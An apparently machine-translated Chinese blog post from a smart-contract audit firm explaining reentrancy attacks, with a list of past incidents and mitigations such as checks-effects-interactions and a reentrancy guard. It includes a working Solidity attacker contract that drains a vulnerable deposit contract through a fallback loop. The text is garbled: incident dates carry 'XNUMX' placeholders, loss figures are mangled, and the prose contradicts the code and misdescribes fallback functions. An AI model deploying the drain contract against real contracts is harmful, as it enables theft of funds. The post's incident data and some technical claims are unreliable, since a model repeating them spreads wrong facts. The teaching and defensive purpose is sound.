阅读时间: 6 分钟
如果我们仔细研究最大的加密黑客和他们失去的令人眼花缭乱的数字,他们将深深植根于编码缺陷。
一种常见的安全漏洞是重入攻击。 但是,由于重入处理不当造成的破坏性影响听起来可能不像发起攻击本身那么简单。
尽管是一个熟悉且广为人知的问题,但智能合约中重入漏洞的出现总是不可避免的。
在过去几年中,可重入漏洞被黑客利用的频率如何? 它是如何工作的? 如何防止智能合约因 Reentrancy bug 而损失资金? 在此博客中找到这些问题的答案。
所以,不久之后,让我们回顾一下内存中最大的重入攻击。
一些最臭名昭著的实时重入黑客
对项目造成最大破坏性影响的重入攻击最终会执行这两个或什至两者之一。
- 从智能合约中完全耗尽以太币
- 黑客潜入智能合约代码
我们现在可以观察到一些可重入攻击的案例及其影响。
2016月XNUMX日: DAO 攻击 – 3.54 万或 150 亿美元的以太币
2020月XNUMX日: Uniswap/Lendf.Me 破解 – 25 万美元
五月2021: BurgerSwap 黑客攻击 – 7.2 万美元
2021 月 XNUMX 日: 奶油金融黑客——18.8万美元
2022月XNUMX日: Ola Finance – 3.6 万美元
2022 年 XNUMX 月: OMNI 协议——1.43 万美元
很明显,重入攻击从未过时。 让我们在以下段落中深入了解它。
重入攻击概述
正如名称“Reentrancy”,意思是“一次又一次地重新进入”。 重入攻击涉及两个合约:受害者合约和攻击者合约。
攻击者合约利用了受害者合约中的重入漏洞。 它使用withdraw函数来实现它。
攻击者合约调用withdraw函数,通过在受害者合约余额更新之前重复调用来从受害者合约中提取资金。 受害者合约将检查余额、发送资金并更新余额。
但是在发送资金和更新合约余额的时间范围内,攻击者合约会不断调用提取资金。 因此,在攻击者合约耗尽所有资金之前,受害者合约中的余额不会更新。
重入利用的严重性和成本警告了执行的迫切需要 智能合约审计 排除忽略此类错误的可能性。
重入攻击的说明性视图
让我们从下面的简化图中了解重入攻击的概念。
这里有两个合约:易受攻击的合约和 Hacker 合约
黑客合约调用退出易受攻击的合约。 接到电话后,易受攻击的合约会检查黑客合约中的资金,然后将资金转移给黑客。
黑客收到资金并执行回退功能,甚至在漏洞合约中的余额更新之前再次调用漏洞合约。 因此重复相同的操作,黑客从易受攻击的合约中完全提取资金。
攻击者使用的回退功能的特点
- 它们是外部可调用的。 即他们不能从他们所写的合同中被调用
- 未命名函数
- 回退函数内部不包含任意逻辑
- 当 ETH 被发送到其封闭的智能合约时触发回退,并且没有声明 receive() 函数。
从技术角度分析重入攻击
让我们以一个合同样本为例,了解重入攻击是如何发生的。
恶意合约
contract Attack {
DepositFunds public depositFunds;
constructor(address _depositFundsAddress) {
depositFunds = DepositFunds(_depositFundsAddress);
}
// Fallback is called when DepositFunds sends Ether to this contract.
fallback() external payable {
if (address(depositFunds).balance >= 1 ether) {
depositFunds.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
depositFunds.deposit{value: 1 ether}();
depositFunds.withdraw();
}
}
这是攻击者合约,其中攻击者存入 2ETH。 攻击者在易受攻击的合约中调用了withdraw函数。 一旦从易受攻击的合约中收到资金,就会触发回退功能。
然后回退执行提款功能并从易受攻击的合约中提取资金。 这个循环一直持续到资金完全从易受攻击的合约中耗尽。
易受攻击的合同
contract DepositFunds {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
}
易受攻击的合约有 30ETH。 在此,withdraw() 函数将请求的金额发送给攻击者。 由于余额没有更新,代币被反复转移给攻击者。
重入攻击的类型
- 单函数重入
function withdraw() external {
uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0;
}
msg.sender.call.value(amount)() 转移资金,之后攻击者合约回退函数在 balances[msg.sender] = 0 更新之前再次调用withdraw()。
- 跨功能重入
function transfer(address to, uint amount) external {
if (balances[msg.sender] >= amount) {
balances[to] += amount;
balances[msg.sender] -= amount;
}
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0;
}
跨功能重入的识别要复杂得多。 这里的不同之处在于,回退函数调用 transfer,不像在单函数可重入中,它调用withdraw。
防止重入攻击
检查-效果-交互模式: 检查-效果-交互模式有助于构建功能。
程序的编码方式应该首先检查条件。 一旦通过检查,就应该解决对合约状态的影响,然后可以调用外部函数。
function withdraw() external {
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
require(msg.sender.call.value(amount)());
}
这里重写的代码遵循检查-效果-交互模式。 在进行外部调用之前,此处的余额为零。
修饰符的使用
应用于函数的修饰符 noReentrant 确保没有可重入调用。
contract ReEntrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
到底
最有效的步骤是接受像 QuillAudits 这样领先的安全公司的智能合约审计,其中审计员密切关注代码结构并检查回退功能的执行情况。 根据所研究的模式,如果似乎有任何建议,建议重新构建代码 易受伤害的行为.
在遭受任何损失之前确保资金安全。
常见问题
什么是重入攻击?
当易受攻击的合约中的函数调用不受信任的合约时,就会发生重入攻击。 不受信任的合约将是攻击者的合约对易受攻击的合约进行递归调用,直到资金完全耗尽。
什么是可重入?
重新进入的行为是指中断代码的执行,重新开始流程,也称为重新进入。
什么是可重入守卫?
可重入保护使用一个修饰符来防止函数被重复调用。 阅读上面的博客以找到可重入保护的示例。
对智能合约的攻击有哪些?
智能合约暴露在众多漏洞中,例如重入、时间戳依赖、算术溢出、DoS 攻击等。 因此,必须进行审计以确保不存在破坏合约逻辑的错误。
69 观点